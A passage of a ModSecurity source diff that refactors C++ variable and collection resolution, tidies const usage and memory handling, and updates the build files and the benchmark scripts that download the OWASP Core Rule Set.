collection_delimiter_offset = variable.find(":"); } - if (collection == std::string::npos) { - if (comp(variable, "RESPONSE_CONTENT_TYPE")) { - t->m_variableResponseContentType.evaluate(l); - } else if (comp(variable, "ARGS_COMBINED_SIZE")) { - t->m_variableARGScombinedSize.evaluate(l); - } else if (comp(variable, "AUTH_TYPE")) { - t->m_variableAuthType.evaluate(l); - } else if (comp(variable, "FILES_COMBINED_SIZE")) { - t->m_variableFilesCombinedSize.evaluate(l); - } else if (comp(variable, "FULL_REQUEST")) { - t->m_variableFullRequest.evaluate(l); - } else if (comp(variable, "FULL_REQUEST_LENGTH")) { - t->m_variableFullRequestLength.evaluate(l); - } else if (comp(variable, "INBOUND_DATA_ERROR")) { - t->m_variableInboundDataError.evaluate(l); - } else if (comp(variable, "MATCHED_VAR")) { - t->m_variableMatchedVar.evaluate(l); - } else if (comp(variable, "MATCHED_VAR_NAME")) { - t->m_variableMatchedVarName.evaluate(l); - } else if (comp(variable, "MSC_PCRE_ERROR")) { - t->m_variableMscPcreError.evaluate(l); - } else if (comp(variable, "MSC_PCRE_LIMITS_EXCEEDED")) { - t->m_variableMscPcreLimitsExceeded.evaluate(l); - } else if (comp(variable, "MULTIPART_CRLF_LF_LINES")) { - t->m_variableMultipartCrlfLFLines.evaluate(l); - } else if (comp(variable, "MULTIPART_DATA_AFTER")) { - t->m_variableMultipartDataAfter.evaluate(l); - } else if (comp(variable, "MULTIPART_FILE_LIMIT_EXCEEDED")) { - t->m_variableMultipartFileLimitExceeded.evaluate(l); - } else if (comp(variable, "MULTIPART_STRICT_ERROR")) { - t->m_variableMultipartStrictError.evaluate(l); - } else if (comp(variable, "MULTIPART_HEADER_FOLDING")) { - t->m_variableMultipartHeaderFolding.evaluate(l); - } else if (comp(variable, "MULTIPART_INVALID_QUOTING")) { - t->m_variableMultipartInvalidQuoting.evaluate(l); - } else if (comp(variable, "MULTIPART_INVALID_HEADER_FOLDING")) { - t->m_variableMultipartInvalidHeaderFolding.evaluate(l); - } else if (comp(variable, "MULTIPART_UNMATCHED_BOUNDARY")) { - t->m_variableMultipartUnmatchedBoundary.evaluate(l); - } else if (comp(variable, "OUTBOUND_DATA_ERROR")) { - t->m_variableOutboundDataError.evaluate(l); - } else if (comp(variable, "PATH_INFO")) { - t->m_variablePathInfo.evaluate(l); - } else if (comp(variable, "QUERY_STRING")) { - t->m_variableQueryString.evaluate(l); - } else if (comp(variable, "REMOTE_ADDR")) { - t->m_variableRemoteAddr.evaluate(l); - } else if (comp(variable, "REMOTE_HOST")) { - t->m_variableRemoteHost.evaluate(l); - } else if (comp(variable, "REMOTE_PORT")) { - t->m_variableRemotePort.evaluate(l); - } else if (comp(variable, "REQBODY_ERROR")) { - t->m_variableReqbodyError.evaluate(l); - } else if (comp(variable, "REQBODY_ERROR_MSG")) { - t->m_variableReqbodyErrorMsg.evaluate(l); - } else if (comp(variable, "REQBODY_PROCESSOR_ERROR_MSG")) { - t->m_variableReqbodyProcessorErrorMsg.evaluate(l); - } else if (comp(variable, "REQBODY_PROCESSOR_ERROR")) { - t->m_variableReqbodyProcessorError.evaluate(l); - } else if (comp(variable, "REQBODY_PROCESSOR")) { - t->m_variableReqbodyProcessor.evaluate(l); - } else if (comp(variable, "REQUEST_BASENAME")) { - t->m_variableRequestBasename.evaluate(l); - } else if (comp(variable, "REQUEST_BODY")) { - t->m_variableRequestBody.evaluate(l); - } else if (comp(variable, "REQUEST_BODY_LENGTH")) { - t->m_variableRequestBodyLength.evaluate(l); - } else if (comp(variable, "REQUEST_FILENAME")) { - t->m_variableRequestFilename.evaluate(l); - } else if (comp(variable, "REQUEST_LINE")) { - t->m_variableRequestLine.evaluate(l); - } else if (comp(variable, "REQUEST_METHOD")) { - t->m_variableRequestMethod.evaluate(l); - } else if (comp(variable, "REQUEST_PROTOCOL")) { - t->m_variableRequestProtocol.evaluate(l); - } else if (comp(variable, "REQUEST_URI")) { - t->m_variableRequestURI.evaluate(l); - } else if (comp(variable, "REQUEST_URI_RAW")) { - t->m_variableRequestURIRaw.evaluate(l); - } else if (comp(variable, "RESOURCE")) { - t->m_variableResource.evaluate(l); - } else if (comp(variable, "RESPONSE_BODY")) { - t->m_variableResponseBody.evaluate(l); - } else if (comp(variable, "RESPONSE_CONTENT_LENGTH")) { - t->m_variableResponseContentLength.evaluate(l); - } else if (comp(variable, "RESPONSE_PROTOCOL")) { - t->m_variableResponseProtocol.evaluate(l); - } else if (comp(variable, "RESPONSE_STATUS")) { - t->m_variableResponseStatus.evaluate(l); - } else if (comp(variable, "SERVER_ADDR")) { - t->m_variableServerAddr.evaluate(l); - } else if (comp(variable, "SERVER_NAME")) { - t->m_variableServerName.evaluate(l); - } else if (comp(variable, "SERVER_PORT")) { - t->m_variableServerPort.evaluate(l); - } else if (comp(variable, "SESSIONID")) { - t->m_variableSessionID.evaluate(l); - } else if (comp(variable, "UNIQUE_ID")) { - t->m_variableUniqueID.evaluate(l); - } else if (comp(variable, "URLENCODED_ERROR")) { - t->m_variableUrlEncodedError.evaluate(l); - } else if (comp(variable, "USERID")) { - t->m_variableUserID.evaluate(l); + std::string col; // collection name excluding individual variable specification + std::string var; // variable within the collection + if (collection_delimiter_offset == std::string::npos) { + col = variable; + } else { + col = std::string(variable, 0, collection_delimiter_offset); + var = std::string(variable, collection_delimiter_offset + 1, + variable.length() - (collection_delimiter_offset + 1)); + } + + // First check if the request is for a collection of type AnchoredSetVariable + AnchoredSetVariable* anchoredSetVariable = NULL; + if (comp(col, "ARGS")) { + anchoredSetVariable = &t->m_variableArgs; + } else if (comp(col, "ARGS_GET")) { + anchoredSetVariable = &t->m_variableArgsGet; + } else if (comp(col, "ARGS_POST")) { + anchoredSetVariable = &t->m_variableArgsPost; + } else if (comp(col, "FILES_SIZES")) { + anchoredSetVariable = &t->m_variableFilesSizes; + } else if (comp(col, "FILES_NAMES")) { + anchoredSetVariable = &t->m_variableFilesNames; + } else if (comp(col, "FILES_TMP_CONTENT")) { + anchoredSetVariable = &t->m_variableFilesTmpContent; + } else if (comp(col, "MULTIPART_FILENAME")) { + anchoredSetVariable = &t->m_variableMultipartFileName; + } else if (comp(col, "MULTIPART_FILENAME_CHARSET")) { + anchoredSetVariable = &t->m_variableMultipartFileNameCharset; + } else if (comp(col, "MULTIPART_FILENAME_LANGUAGE")) { + anchoredSetVariable = &t->m_variableMultipartFileNameLanguage; + } else if (comp(col, "MULTIPART_NAME")) { + anchoredSetVariable = &t->m_variableMultipartName; + } else if (comp(col, "MATCHED_VARS_NAMES")) { + anchoredSetVariable = &t->m_variableMatchedVarsNames; + } else if (comp(col, "MATCHED_VARS")) { + anchoredSetVariable = &t->m_variableMatchedVars; + } else if (comp(col, "FILES")) { + anchoredSetVariable = &t->m_variableFiles; + } else if (comp(col, "REQUEST_COOKIES")) { + anchoredSetVariable = &t->m_variableRequestCookies; + } else if (comp(col, "REQUEST_HEADERS")) { + anchoredSetVariable = &t->m_variableRequestHeaders; + } else if (comp(variable, "REQUEST_HEADERS_NAMES")) { + anchoredSetVariable = &t->m_variableRequestHeadersNames; + } else if (comp(col, "RESPONSE_HEADERS")) { + anchoredSetVariable = &t->m_variableResponseHeaders; + } else if (comp(variable, "RESPONSE_HEADERS_NAMES")) { + anchoredSetVariable = &t->m_variableResponseHeadersNames; + } else if (comp(col, "GEO")) { + anchoredSetVariable = &t->m_variableGeo; + } else if (comp(col, "REQUEST_COOKIES_NAMES")) { + anchoredSetVariable = &t->m_variableRequestCookiesNames; + } else if (comp(col, "MULTIPART_PART_HEADERS")) { + anchoredSetVariable = &t->m_variableMultipartPartHeaders; + } else if (comp(col, "FILES_TMPNAMES")) { + anchoredSetVariable = &t->m_variableFilesTmpNames; + } + if (anchoredSetVariable != NULL) { + if (collection_delimiter_offset == std::string::npos) { + anchoredSetVariable->resolve(l); } else { - throw std::invalid_argument("Variable not found."); + anchoredSetVariable->resolve(var, l); } - } else { - std::string col = std::string(variable, 0, collection); - std::string var = std::string(variable, collection + 1, - variable.length() - (collection + 1)); - if (comp(col, "ARGS")) { - t->m_variableArgs.resolve(var, l); - } else if (comp(variable, "ARGS_NAMES")) { - t->m_variableArgsNames.resolve(var, l); - } else if (comp(variable, "ARGS_GET_NAMES")) { - t->m_variableArgsGetNames.resolve(var, l); - } else if (comp(variable, "ARGS_POST_NAMES")) { - t->m_variableArgsPostNames.resolve(var, l); - } else if (comp(col, "ARGS_GET")) { - t->m_variableArgsGet.resolve(var, l); - } else if (comp(col, "ARGS_POST")) { - t->m_variableArgsPost.resolve(var, l); - } else if (comp(col, "FILES_SIZES")) { - t->m_variableFilesSizes.resolve(var, l); - } else if (comp(col, "FILES_NAMES")) { - t->m_variableFilesNames.resolve(var, l); - } else if (comp(col, "FILES_TMP_CONTENT")) { - t->m_variableFilesTmpContent.resolve(var, l); - } else if (comp(col, "MULTIPART_FILENAME")) { - t->m_variableMultipartFileName.resolve(var, l); - } else if (comp(col, "MULTIPART_NAME")) { - t->m_variableMultipartName.resolve(var, l); - } else if (comp(col, "MATCHED_VARS_NAMES")) { - t->m_variableMatchedVarsNames.resolve(var, l); - } else if (comp(col, "MATCHED_VARS")) { - t->m_variableMatchedVars.resolve(var, l); - } else if (comp(col, "FILES")) { - t->m_variableFiles.resolve(var, l); - } else if (comp(col, "REQUEST_COOKIES")) { - t->m_variableRequestCookies.resolve(var, l); - } else if (comp(col, "REQUEST_HEADERS")) { - t->m_variableRequestHeaders.resolve(var, l); - } else if (comp(variable, "REQUEST_HEADERS_NAMES")) { - t->m_variableRequestHeadersNames.resolve(var, l); - } else if (comp(col, "RESPONSE_HEADERS")) { - t->m_variableResponseHeaders.resolve(var, l); - } else if (comp(variable, "RESPONSE_HEADERS_NAMES")) { - t->m_variableResponseHeadersNames.resolve(var, l); - } else if (comp(col, "GEO")) { - t->m_variableGeo.resolve(var, l); - } else if (comp(col, "REQUEST_COOKIES_NAMES")) { - t->m_variableRequestCookiesNames.resolve(var, l); - } else if (comp(col, "FILES_TMPNAMES")) { - t->m_variableFilesTmpNames.resolve(var, l); + return; + } + + // Next check for collection of type AnchoredSetVariableTranslationProxy + AnchoredSetVariableTranslationProxy* anchoredSetVariableTranslationProxy = NULL; + if (comp(col, "ARGS_NAMES")) { + anchoredSetVariableTranslationProxy = &t->m_variableArgsNames; + } else if (comp(col, "ARGS_GET_NAMES")) { + anchoredSetVariableTranslationProxy = &t->m_variableArgsGetNames; + } else if (comp(col, "ARGS_POST_NAMES")) { + anchoredSetVariableTranslationProxy = &t->m_variableArgsPostNames; + } + if (anchoredSetVariableTranslationProxy != NULL) { + if (collection_delimiter_offset == std::string::npos) { + anchoredSetVariableTranslationProxy->resolve(l); } else { - throw std::invalid_argument("Variable not found."); + anchoredSetVariableTranslationProxy->resolve(var, l); } + return; + } + + + // It could still be a non-collection variable, but in that case + // there should not be a request for a variable-within-a-collection + if (collection_delimiter_offset != std::string::npos) { + throw std::invalid_argument("Variable not found."); + } + + if (comp(variable, "RESPONSE_CONTENT_TYPE")) { + t->m_variableResponseContentType.evaluate(l); + } else if (comp(variable, "ARGS_COMBINED_SIZE")) { + t->m_variableARGScombinedSize.evaluate(l); + } else if (comp(variable, "AUTH_TYPE")) { + t->m_variableAuthType.evaluate(l); + } else if (comp(variable, "FILES_COMBINED_SIZE")) { + t->m_variableFilesCombinedSize.evaluate(l); + } else if (comp(variable, "FULL_REQUEST")) { + t->m_variableFullRequest.evaluate(l); + } else if (comp(variable, "FULL_REQUEST_LENGTH")) { + t->m_variableFullRequestLength.evaluate(l); + } else if (comp(variable, "INBOUND_DATA_ERROR")) { + t->m_variableInboundDataError.evaluate(l); + } else if (comp(variable, "MATCHED_VAR")) { + t->m_variableMatchedVar.evaluate(l); + } else if (comp(variable, "MATCHED_VAR_NAME")) { + t->m_variableMatchedVarName.evaluate(l); + } else if (comp(variable, "MSC_PCRE_ERROR")) { + t->m_variableMscPcreError.evaluate(l); + } else if (comp(variable, "MSC_PCRE_LIMITS_EXCEEDED")) { + t->m_variableMscPcreLimitsExceeded.evaluate(l); + } else if (comp(variable, "MULTIPART_CRLF_LF_LINES")) { + t->m_variableMultipartCrlfLFLines.evaluate(l); + } else if (comp(variable, "MULTIPART_DATA_AFTER")) { + t->m_variableMultipartDataAfter.evaluate(l); + } else if (comp(variable, "MULTIPART_DUPLICATE_PART_HEADER")) { + t->m_variableMultipartDuplicatePartHeader.evaluate(l); + } else if (comp(variable, "MULTIPART_FILE_LIMIT_EXCEEDED")) { + t->m_variableMultipartFileLimitExceeded.evaluate(l); + } else if (comp(variable, "MULTIPART_STRICT_ERROR")) { + t->m_variableMultipartStrictError.evaluate(l); + } else if (comp(variable, "MULTIPART_HEADER_FOLDING")) { + t->m_variableMultipartHeaderFolding.evaluate(l); + } else if (comp(variable, "MULTIPART_INVALID_QUOTING")) { + t->m_variableMultipartInvalidQuoting.evaluate(l); + } else if (comp(variable, "MULTIPART_INVALID_HEADER_FOLDING")) { + t->m_variableMultipartInvalidHeaderFolding.evaluate(l); + } else if (comp(variable, "MULTIPART_UNMATCHED_BOUNDARY")) { + t->m_variableMultipartUnmatchedBoundary.evaluate(l); + } else if (comp(variable, "OUTBOUND_DATA_ERROR")) { + t->m_variableOutboundDataError.evaluate(l); + } else if (comp(variable, "PATH_INFO")) { + t->m_variablePathInfo.evaluate(l); + } else if (comp(variable, "QUERY_STRING")) { + t->m_variableQueryString.evaluate(l); + } else if (comp(variable, "REMOTE_ADDR")) { + t->m_variableRemoteAddr.evaluate(l); + } else if (comp(variable, "REMOTE_HOST")) { + t->m_variableRemoteHost.evaluate(l); + } else if (comp(variable, "REMOTE_PORT")) { + t->m_variableRemotePort.evaluate(l); + } else if (comp(variable, "REQBODY_ERROR")) { + t->m_variableReqbodyError.evaluate(l); + } else if (comp(variable, "REQBODY_ERROR_MSG")) { + t->m_variableReqbodyErrorMsg.evaluate(l); + } else if (comp(variable, "REQBODY_PROCESSOR_ERROR_MSG")) { + t->m_variableReqbodyProcessorErrorMsg.evaluate(l); + } else if (comp(variable, "REQBODY_PROCESSOR_ERROR")) { + t->m_variableReqbodyProcessorError.evaluate(l); + } else if (comp(variable, "REQBODY_PROCESSOR")) { + t->m_variableReqbodyProcessor.evaluate(l); + } else if (comp(variable, "REQUEST_BASENAME")) { + t->m_variableRequestBasename.evaluate(l); + } else if (comp(variable, "REQUEST_BODY")) { + t->m_variableRequestBody.evaluate(l); + } else if (comp(variable, "REQUEST_BODY_LENGTH")) { + t->m_variableRequestBodyLength.evaluate(l); + } else if (comp(variable, "REQUEST_FILENAME")) { + t->m_variableRequestFilename.evaluate(l); + } else if (comp(variable, "REQUEST_LINE")) { + t->m_variableRequestLine.evaluate(l); + } else if (comp(variable, "REQUEST_METHOD")) { + t->m_variableRequestMethod.evaluate(l); + } else if (comp(variable, "REQUEST_PROTOCOL")) { + t->m_variableRequestProtocol.evaluate(l); + } else if (comp(variable, "REQUEST_URI")) { + t->m_variableRequestURI.evaluate(l); + } else if (comp(variable, "REQUEST_URI_RAW")) { + t->m_variableRequestURIRaw.evaluate(l); + } else if (comp(variable, "RESOURCE")) { + t->m_variableResource.evaluate(l); + } else if (comp(variable, "RESPONSE_BODY")) { + t->m_variableResponseBody.evaluate(l); + } else if (comp(variable, "RESPONSE_CONTENT_LENGTH")) { + t->m_variableResponseContentLength.evaluate(l); + } else if (comp(variable, "RESPONSE_PROTOCOL")) { + t->m_variableResponseProtocol.evaluate(l); + } else if (comp(variable, "RESPONSE_STATUS")) { + t->m_variableResponseStatus.evaluate(l); + } else if (comp(variable, "SERVER_ADDR")) { + t->m_variableServerAddr.evaluate(l); + } else if (comp(variable, "SERVER_NAME")) { + t->m_variableServerName.evaluate(l); + } else if (comp(variable, "SERVER_PORT")) { + t->m_variableServerPort.evaluate(l); + } else if (comp(variable, "SESSIONID")) { + t->m_variableSessionID.evaluate(l); + } else if (comp(variable, "UNIQUE_ID")) { + t->m_variableUniqueID.evaluate(l); + } else if (comp(variable, "URLENCODED_ERROR")) { + t->m_variableUrlEncodedError.evaluate(l); + } else if (comp(variable, "USERID")) { + t->m_variableUserID.evaluate(l); + } else { + throw std::invalid_argument("Variable not found."); } } static std::string stringMatchResolve(Transaction *t, const std::string &variable) { - std::unique_ptr vv = nullptr; + std::unique_ptr vv; size_t collection = variable.find("."); if (collection == std::string::npos) { collection = variable.find(":"); @@ -521,6 +566,8 @@ class VariableMonkeyResolution { vv = t->m_variableRequestCookiesNames.resolveFirst(var); } else if (comp(col, "FILES_TMPNAMES")) { vv = t->m_variableFilesTmpNames.resolveFirst(var); + } else if (comp(col, "MULTIPART_PART_HEADERS")) { + vv = t->m_variableMultipartPartHeaders.resolveFirst(var); } else if (comp(col, "TX")) { vv = t->m_collections.m_tx_collection->resolveFirst(var); } else if (comp(col, "RESOURCE")) { @@ -553,7 +600,7 @@ class VariableMonkeyResolution { class Variable : public VariableMonkeyResolution { public: explicit Variable(const std::string &name); - explicit Variable(Variable *_name); + explicit Variable(const Variable *_name); virtual ~Variable() { } @@ -572,7 +619,7 @@ class Variable : public VariableMonkeyResolution { } - void addsKeyExclusion(Variable *v); + void addsKeyExclusion(const Variable *v); bool operator==(const Variable& b) const { @@ -614,20 +661,20 @@ class VariableRegex : public Variable { class Variables : public std::vector { public: - bool contains(Variable *v) { + bool contains(const Variable *v) const { return std::find_if(begin(), end(), - [v](const Variable *m) -> bool { return *v == *m; }) != end(); - }; - bool contains(const VariableValue *v) { + [v](const Variable *m) { return *v == *m; }) != end(); + } + bool contains(const VariableValue *v) const { return std::find_if(begin(), end(), - [v](Variable *m) -> bool { - VariableRegex *r = dynamic_cast(m); + [v](const Variable *m) { + const auto *r = dynamic_cast(m); if (r) { - return r->m_r.searchAll(v->getKey()).size() > 0; + return !r->m_r.searchAll(v->getKey()).empty(); } return v->getKeyWithCollection() == *m->m_fullName.get(); }) != end(); - }; + } }; @@ -671,9 +718,8 @@ class VariableModificatorCount : public Variable { } reslIn.clear(); - std::string *res = new std::string(std::to_string(count)); - val = new VariableValue(m_fullName.get(), res); - delete res; + auto res = std::to_string(count); + val = new VariableValue(m_fullName.get(), &res); l->push_back(val); return; @@ -683,8 +729,8 @@ class VariableModificatorCount : public Variable { }; -std::string operator+(const std::string &a, modsecurity::variables::Variable *v); -std::string operator+(const std::string &a, modsecurity::variables::Variables *v); +std::string operator+(const std::string &a, const modsecurity::variables::Variable *v); +std::string operator+(const std::string &a, const modsecurity::variables::Variables *v); } // namespace variables diff --git a/src/variables/xml.cc b/src/variables/xml.cc index 9b3d8ff96e..0a2d33a0dd 100644 --- a/src/variables/xml.cc +++ b/src/variables/xml.cc @@ -79,7 +79,7 @@ void XML::evaluate(Transaction *t, } /* Process the XPath expression. */ - xpathExpr = (const xmlChar*)param.c_str(); + xpathExpr = reinterpret_cast(param.c_str()); xpathCtx = xmlXPathNewContext(t->m_xml->m_data.doc); if (xpathCtx == NULL) { ms_dbg_a(t, 1, "XML: Unable to create new XPath context. : "); @@ -91,9 +91,9 @@ void XML::evaluate(Transaction *t, } else { std::vector acts = rule->getActionsByName("xmlns", t); for (auto &x : acts) { - actions::XmlNS *z = (actions::XmlNS *)x; - if (xmlXPathRegisterNs(xpathCtx, (const xmlChar*)z->m_scope.c_str(), - (const xmlChar*)z->m_href.c_str()) != 0) { + actions::XmlNS *z = static_cast(x); + if (xmlXPathRegisterNs(xpathCtx, reinterpret_cast(z->m_scope.c_str()), + reinterpret_cast(z->m_href.c_str())) != 0) { ms_dbg_a(t, 1, "Failed to register XML namespace href \"" + \ z->m_href + "\" prefix \"" + z->m_scope + "\"."); return; @@ -124,13 +124,12 @@ void XML::evaluate(Transaction *t, content = reinterpret_cast( xmlNodeGetContent(nodes->nodeTab[i])); if (content != NULL) { - std::string *a = new std::string(content); + auto a = std::string(content); VariableValue *var = new VariableValue(m_fullName.get(), - a); + &a); if (!m_keyExclusion.toOmit(*m_fullName)) { l->push_back(var); } - delete a; xmlFree(content); } } diff --git a/test/Makefile.am b/test/Makefile.am index 9237a87492..de8d4f4af4 100644 --- a/test/Makefile.am +++ b/test/Makefile.am @@ -31,7 +31,8 @@ EXTRA_DIST = \ noinst_PROGRAMS += unit_tests unit_tests_SOURCES = \ unit/unit.cc \ - unit/unit_test.cc + unit/unit_test.cc \ + common/custom_debug_log.cc noinst_HEADERS = \ @@ -70,9 +71,9 @@ unit_tests_LDFLAGS = \ unit_tests_CPPFLAGS = \ - -std=c++11 \ -Icommon \ - -I../ \ + -I$(top_srcdir)/ \ + -I$(top_srcdir)/others \ -g \ -I$(top_builddir)/headers \ $(CURL_CFLAGS) \ @@ -95,7 +96,7 @@ noinst_PROGRAMS += regression_tests regression_tests_SOURCES = \ regression/regression.cc \ regression/regression_test.cc \ - regression/custom_debug_log.cc + common/custom_debug_log.cc regression_tests_LDADD = \ $(CURL_LDADD) \ @@ -126,9 +127,8 @@ regression_tests_LDFLAGS = \ regression_tests_CPPFLAGS = \ - -std=c++11 \ -Icommon \ - -I../ \ + -I$(top_srcdir) \ -g \ -I$(top_builddir)/headers \ $(CURL_CFLAGS) \ @@ -179,9 +179,8 @@ rules_optimization_LDFLAGS = \ $(YAJL_LDFLAGS) rules_optimization_CPPFLAGS = \ - -std=c++11 \ -Icommon \ - -I../ \ + -I$(top_srcdir)/ \ -g \ -I$(top_builddir)/headers \ $(CURL_CFLAGS) \ diff --git a/test/benchmark/Makefile.am b/test/benchmark/Makefile.am index 73a975b33a..2ac9d92111 100644 --- a/test/benchmark/Makefile.am +++ b/test/benchmark/Makefile.am @@ -10,6 +10,7 @@ benchmark_LDADD = \ $(GEOIP_LDADD) \ $(MAXMIND_LDADD) \ $(PCRE_LDADD) \ + $(PCRE2_LDADD) \ $(YAJL_LDADD) \ $(LMDB_LDADD) \ $(SSDEEP_LDADD) \ @@ -32,10 +33,10 @@ benchmark_LDFLAGS = \ $(LUA_LDFLAGS) benchmark_CPPFLAGS = \ - -std=c++11 \ -I$(top_builddir)/headers \ $(GLOBAL_CPPFLAGS) \ $(PCRE_CFLAGS) \ + $(PCRE2_CFLAGS) \ $(LMDB_CFLAGS) \ $(LIBXML2_CFLAGS) diff --git a/test/benchmark/basic_rules.conf b/test/benchmark/basic_rules.conf index d6e13db200..b82a378595 100644 --- a/test/benchmark/basic_rules.conf +++ b/test/benchmark/basic_rules.conf @@ -1,5 +1,3 @@ Include "../../modsecurity.conf-recommended" -Include "owasp-v3/crs-setup.conf.example" -Include "owasp-v3/rules/*.conf" diff --git a/test/benchmark/benchmark.cc b/test/benchmark/benchmark.cc index a1037a470b..a502150eaf 100644 --- a/test/benchmark/benchmark.cc +++ b/test/benchmark/benchmark.cc @@ -44,7 +44,7 @@ char rules_file[] = "basic_rules.conf"; const char* const help_message = "Usage: benchmark [num_iterations|-h|-?|--help]"; -int main(int argc, char *argv[]) { +int main(int argc, const char *argv[]) { unsigned long long NUM_REQUESTS(1000000); @@ -73,7 +73,7 @@ int main(int argc, char *argv[]) { modsecurity::ModSecurity *modsec; modsecurity::RulesSet *rules; modsecurity::ModSecurityIntervention it; - modsecurity::intervention::reset(&it); + modsecurity::intervention::clean(&it); modsec = new modsecurity::ModSecurity(); modsec->setConnectorInformation("ModSecurity-benchmark v0.0.1-alpha" \ " (ModSecurity benchmark utility)"); @@ -167,6 +167,8 @@ int main(int argc, char *argv[]) { next_request: modsecTransaction->processLogging(); delete modsecTransaction; + modsecurity::intervention::free(&it); + modsecurity::intervention::clean(&it); } delete rules; diff --git a/test/benchmark/download-owasp-v2-rules.sh b/test/benchmark/download-owasp-v2-rules.sh deleted file mode 100755 index facc48d3e0..0000000000 --- a/test/benchmark/download-owasp-v2-rules.sh +++ /dev/null @@ -1,53 +0,0 @@ -#!/bin/bash -# -# - -git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git owasp-v2 - -echo 'Include "owasp-v2/base_rules/*.conf"' >> basic_rules.conf -echo 'Include "owasp-v2/optional_rules/*.conf"' >> basic_rules.conf -echo 'Include "owasp-v2/experimental_rules/*.conf"' >> basic_rules.conf -echo 'Include "owasp-v2/slr_rules/modsecurity_crs_46_slr_et_xss_attacks.conf"' >> basic_rules.conf -echo 'Include "owasp-v2/slr_rules/modsecurity_crs_46_slr_et_sqli_attacks.conf"' >> basic_rules.conf -echo 'Include "owasp-v2/slr_rules/modsecurity_crs_46_slr_et_rfi_attacks.conf"' >> basic_rules.conf - - -# Content injection not support in modsec v3 -rm owasp-v2/optional_rules/modsecurity_crs_43_csrf_protection.conf - - -# Slow dos is not yet supported -rm owasp-v2/experimental_rules/modsecurity_crs_11_slow_dos_protection.conf - - -# WEBSERVER_ERROR_LOG is not supported in v3. -cat owasp-v2/base_rules/modsecurity_crs_20_protocol_violations.conf | sed 's/SecRule WEBSERVER_ERROR_LOG/#SecRule WEBSERVER_ERROR_LOG/g' > owasp-v2/base_rules/modsecurity_crs_20_protocol_violations.conf.tmp -mv owasp-v2/base_rules/modsecurity_crs_20_protocol_violations.conf.tmp owasp-v2/base_rules/modsecurity_crs_20_protocol_violations.conf - - -# Apache specific configuration. -cat owasp-v2/optional_rules/modsecurity_crs_49_header_tagging.conf | sed 's/RequestHeader/#RequestHeader/g' > owasp-v2/optional_rules/modsecurity_crs_49_header_tagging.conf.tmp -mv owasp-v2/optional_rules/modsecurity_crs_49_header_tagging.conf.tmp owasp-v2/optional_rules/modsecurity_crs_49_header_tagging.conf - -cat owasp-v2/optional_rules/modsecurity_crs_55_application_defects.conf | sed 's/Header edit/#Header edit/g' > owasp-v2/optional_rules/modsecurity_crs_55_application_defects.conf.tmp -mv owasp-v2/optional_rules/modsecurity_crs_55_application_defects.conf.tmp owasp-v2/optional_rules/modsecurity_crs_55_application_defects.conf - -cat owasp-v2/experimental_rules/modsecurity_crs_42_csp_enforcement.conf | sed 's/Header set/#Header set/g' > owasp-v2/experimental_rules/modsecurity_crs_42_csp_enforcement.conf.tmp -mv owasp-v2/experimental_rules/modsecurity_crs_42_csp_enforcement.conf.tmp owasp-v2/experimental_rules/modsecurity_crs_42_csp_enforcement.conf - - -# Disables SecGeoLookupDb -cat owasp-v2/experimental_rules/modsecurity_crs_61_ip_forensics.conf | sed 's/SecGeoLookupDb/#SecGeoLookupDb/g' > owasp-v2/experimental_rules/modsecurity_crs_61_ip_forensics.conf.tmp -mv owasp-v2/experimental_rules/modsecurity_crs_61_ip_forensics.conf.tmp owasp-v2/experimental_rules/modsecurity_crs_61_ip_forensics.conf - -cat owasp-v2/experimental_rules/modsecurity_crs_11_proxy_abuse.conf | sed 's/SecGeoLookupDb/#SecGeoLookupDb/g' > owasp-v2/experimental_rules/modsecurity_crs_11_proxy_abuse.conf.tmp -mv owasp-v2/experimental_rules/modsecurity_crs_11_proxy_abuse.conf.tmp owasp-v2/experimental_rules/modsecurity_crs_11_proxy_abuse.conf - - -# STREAM_OUTPUT_BODY is not supported -cat owasp-v2/experimental_rules/modsecurity_crs_40_appsensor_detection_point_2.9_honeytrap.conf | sed 's/SecRule STREAM_OUTPUT_BODY/#SecRule STREAM_OUTPUT_BODY/g' > owasp-v2/experimental_rules/modsecurity_crs_40_appsensor_detection_point_2.9_honeytrap.conf.tmp -mv owasp-v2/experimental_rules/modsecurity_crs_40_appsensor_detection_point_2.9_honeytrap.conf.tmp owasp-v2/experimental_rules/modsecurity_crs_40_appsensor_detection_point_2.9_honeytrap.conf - - -echo "Done." - diff --git a/test/benchmark/download-owasp-v3-rules.sh b/test/benchmark/download-owasp-v3-rules.sh index c3bc0dfa88..6fdb165c2a 100755 --- a/test/benchmark/download-owasp-v3-rules.sh +++ b/test/benchmark/download-owasp-v3-rules.sh @@ -1,10 +1,6 @@ #!/bin/bash - -git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git owasp-v3 -cd owasp-v3 -git checkout v3.0.2 -b tag3.0.2 -cd - +git clone -c advice.detachedHead=false --depth 1 --branch v3.0.2 https://github.com/coreruleset/coreruleset.git owasp-v3 echo 'Include "owasp-v3/crs-setup.conf.example"' >> basic_rules.conf echo 'Include "owasp-v3/rules/*.conf"' >> basic_rules.conf diff --git a/test/benchmark/download-owasp-v4-rules.sh b/test/benchmark/download-owasp-v4-rules.sh new file mode 100755 index 0000000000..cff3cf53c3 --- /dev/null +++ b/test/benchmark/download-owasp-v4-rules.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +git clone -c advice.detachedHead=false --depth 1 --branch v4.3.0 https://github.com/coreruleset/coreruleset.git owasp-v4 + +echo 'Include "owasp-v4/crs-setup.conf.example"' >> basic_rules.conf +echo 'Include "owasp-v4/rules/*.conf"' >> basic_rules.conf + +echo "Done." + diff --git a/test/coding_style_suppressions.txt b/test/coding_style_suppressions.txt index c2b1ea52d9..bba5a62c99 100644 --- a/test/coding_style_suppressions.txt +++ b/test/coding_style_suppressions.txt @@ -13,7 +13,6 @@ ./src/utils/acmp.cc ./src/utils/acmp.h ./src/utils/mbedtls/ -./src/utils/md5.cc ./src/utils/md5.h ./src/utils/msc_tree.cc ./src/utils/msc_tree.h diff --git a/test/common/custom_debug_log.cc b/test/common/custom_debug_log.cc new file mode 100644 index 0000000000..fbf97ab9dc --- /dev/null +++ b/test/common/custom_debug_log.cc @@ -0,0 +1,51 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#include "custom_debug_log.h" + +#include +#include + +#include 